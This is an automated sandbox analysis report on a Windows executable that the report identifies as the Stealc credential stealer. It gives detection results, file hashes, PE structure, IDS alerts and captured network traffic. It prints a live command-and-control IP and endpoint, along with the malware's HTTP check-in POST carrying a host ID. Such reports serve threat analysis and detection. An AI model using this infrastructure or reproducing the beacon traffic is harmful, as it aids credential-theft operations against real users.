Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/f	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php&	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php/	18%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/ctionSettingsa	file.exe, 00000000.00000002.2067248972.0000000001446000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.2067248972.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2067248972.000000000141B000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php/	file.exe, 00000000.00000002.2067248972.0000000001446000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php&	file.exe, 00000000.00000002.2067248972.0000000001446000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/f	file.exe, 00000000.00000002.2067248972.000000000141B000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpS	file.exe, 00000000.00000002.2067248972.0000000001446000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpi	file.exe, 00000000.00000002.2067248972.0000000001463000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpG	file.exe, 00000000.00000002.2067248972.0000000001446000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpw	file.exe, 00000000.00000002.2067248972.0000000001446000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538461
Start date and time:	2024-10-21 10:46:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 90
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948934641977069
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'887'232 bytes
MD5:	6535a50286893f791f119217511acc32
SHA1:	2155f365670366e0839d7231944930ddf60ea32b
SHA256:	42944bc940b4e9c0dd2a3f97ab9090005213870edeb8e26fec953afa12140ef2
SHA512:	ade89712a86c5150d2f4064fed0a31a12b7a0658bc4c6846baa3f4d3ea2d5a3d4178fd58a1caa46a3490226a2352b84c6822f661cfb2f0e62dd32d00156b305a
SSDEEP:	49152:jpf6Hy/8xXSiXmun5tuQSzbyWANjGij9phd:jpfmI6JXmun5tmzbNKKqh
TLSH:	6B95337CFFEB6337C576A5FEC286D881261932420254080B05E952926F1BD5F32FAEE4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xab3000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F242902F79Ah
rsm
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F2429031795h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	a64bf421faf1d1924280ebc445bceb79	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2ad000	0x200	eb906f8f54535840d6ebae5c7015d0a7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yuntpzro	0x50b000	0x1a7000	0x1a6a00	f9bfc4d82ec0699f87cbd1077f6e99aa	False	0.9950741505841467	data	7.954094538527286	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dfroebje	0x6b2000	0x1000	0x400	cd28ddd9dae1f1c0da7b5b4cc67b7e84	False	0.75	data	5.903651763239205	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6b3000	0x3000	0x2200	f593cbcc2c3568caff2c7d32749a3842	False	0.06744025735294118	DOS executable (COM)	0.7194368073742458	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-21T10:46:59.150628+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 21, 2024 10:46:57.961961031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 21, 2024 10:46:57.966861010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 21, 2024 10:46:57.966948032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 21, 2024 10:46:57.967072010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 21, 2024 10:46:57.971836090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 21, 2024 10:46:58.861968994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 21, 2024 10:46:58.862103939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 21, 2024 10:46:58.866256952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 21, 2024 10:46:58.871134996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 21, 2024 10:46:59.150542974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 21, 2024 10:46:59.150628090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 21, 2024 10:47:01.679208040 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	616	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:46:57.967072010 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 10:46:58.861968994 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:46:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 10:46:58.866256952 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJKECAAAFHJECAAAEBF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 44 38 42 37 41 45 33 39 32 39 34 32 36 36 34 39 38 37 32 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------GHJKECAAAFHJECAAAEBFContent-Disposition: form-data; name="hwid"32D8B7AE39294266498721------GHJKECAAAFHJECAAAEBFContent-Disposition: form-data; name="build"doma------GHJKECAAAFHJECAAAEBF--
Oct 21, 2024 10:46:59.150542974 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:46:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	04:46:54
Start date:	21/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5f0000
File size:	1'887'232 bytes
MD5 hash:	6535A50286893F791F119217511ACC32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2067248972.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2023298984.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00609860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01400618), ref: 006098A1
GetProcAddress.KERNEL32(75900000,01400720), ref: 006098BA
GetProcAddress.KERNEL32(75900000,014005A0), ref: 006098D2
GetProcAddress.KERNEL32(75900000,014005B8), ref: 006098EA
GetProcAddress.KERNEL32(75900000,014007F8), ref: 00609903
GetProcAddress.KERNEL32(75900000,01408890), ref: 0060991B
GetProcAddress.KERNEL32(75900000,013F6480), ref: 00609933
GetProcAddress.KERNEL32(75900000,013F65E0), ref: 0060994C
GetProcAddress.KERNEL32(75900000,014007B0), ref: 00609964
GetProcAddress.KERNEL32(75900000,014007E0), ref: 0060997C
GetProcAddress.KERNEL32(75900000,01400810), ref: 00609995
GetProcAddress.KERNEL32(75900000,01400708), ref: 006099AD
GetProcAddress.KERNEL32(75900000,013F6440), ref: 006099C5
GetProcAddress.KERNEL32(75900000,01400840), ref: 006099DE
GetProcAddress.KERNEL32(75900000,014005D0), ref: 006099F6
GetProcAddress.KERNEL32(75900000,013F6340), ref: 00609A0E
GetProcAddress.KERNEL32(75900000,014006A8), ref: 00609A27
GetProcAddress.KERNEL32(75900000,01400738), ref: 00609A3F
GetProcAddress.KERNEL32(75900000,013F6640), ref: 00609A57
GetProcAddress.KERNEL32(75900000,014005E8), ref: 00609A70
GetProcAddress.KERNEL32(75900000,013F6600), ref: 00609A88
LoadLibraryA.KERNEL32(01400558,?,00606A00), ref: 00609A9A
LoadLibraryA.KERNEL32(01400750,?,00606A00), ref: 00609AAB
LoadLibraryA.KERNEL32(01400768,?,00606A00), ref: 00609ABD
LoadLibraryA.KERNEL32(01400798,?,00606A00), ref: 00609ACF
LoadLibraryA.KERNEL32(01400648,?,00606A00), ref: 00609AE0
GetProcAddress.KERNEL32(75070000,014007C8), ref: 00609B02
GetProcAddress.KERNEL32(75FD0000,01400660), ref: 00609B23
GetProcAddress.KERNEL32(75FD0000,01408D18), ref: 00609B3B
GetProcAddress.KERNEL32(75A50000,01408CB8), ref: 00609B5D
GetProcAddress.KERNEL32(74E50000,013F6620), ref: 00609B7E
GetProcAddress.KERNEL32(76E80000,01408840), ref: 00609B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00609BB6

Strings

NtQueryInformationProcess, xrefs: 00609BAA

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: b27ba0f696ca45886f47da74c02f0f918353664233011eb6d95b5498fdbd0a32
Instruction ID: 60061440064d6688a3bbbc853cd8b1495f243b4b36bdf8ecb36d902b9d65bfd1
Opcode Fuzzy Hash: b27ba0f696ca45886f47da74c02f0f918353664233011eb6d95b5498fdbd0a32
Instruction Fuzzy Hash: F7A12AB55052449FD34CEFA8ED88A663BF9F7EC3017048D2AA6C5C3264D7799841CB62

Function 005F45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 005F460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 005F479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F462D

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in 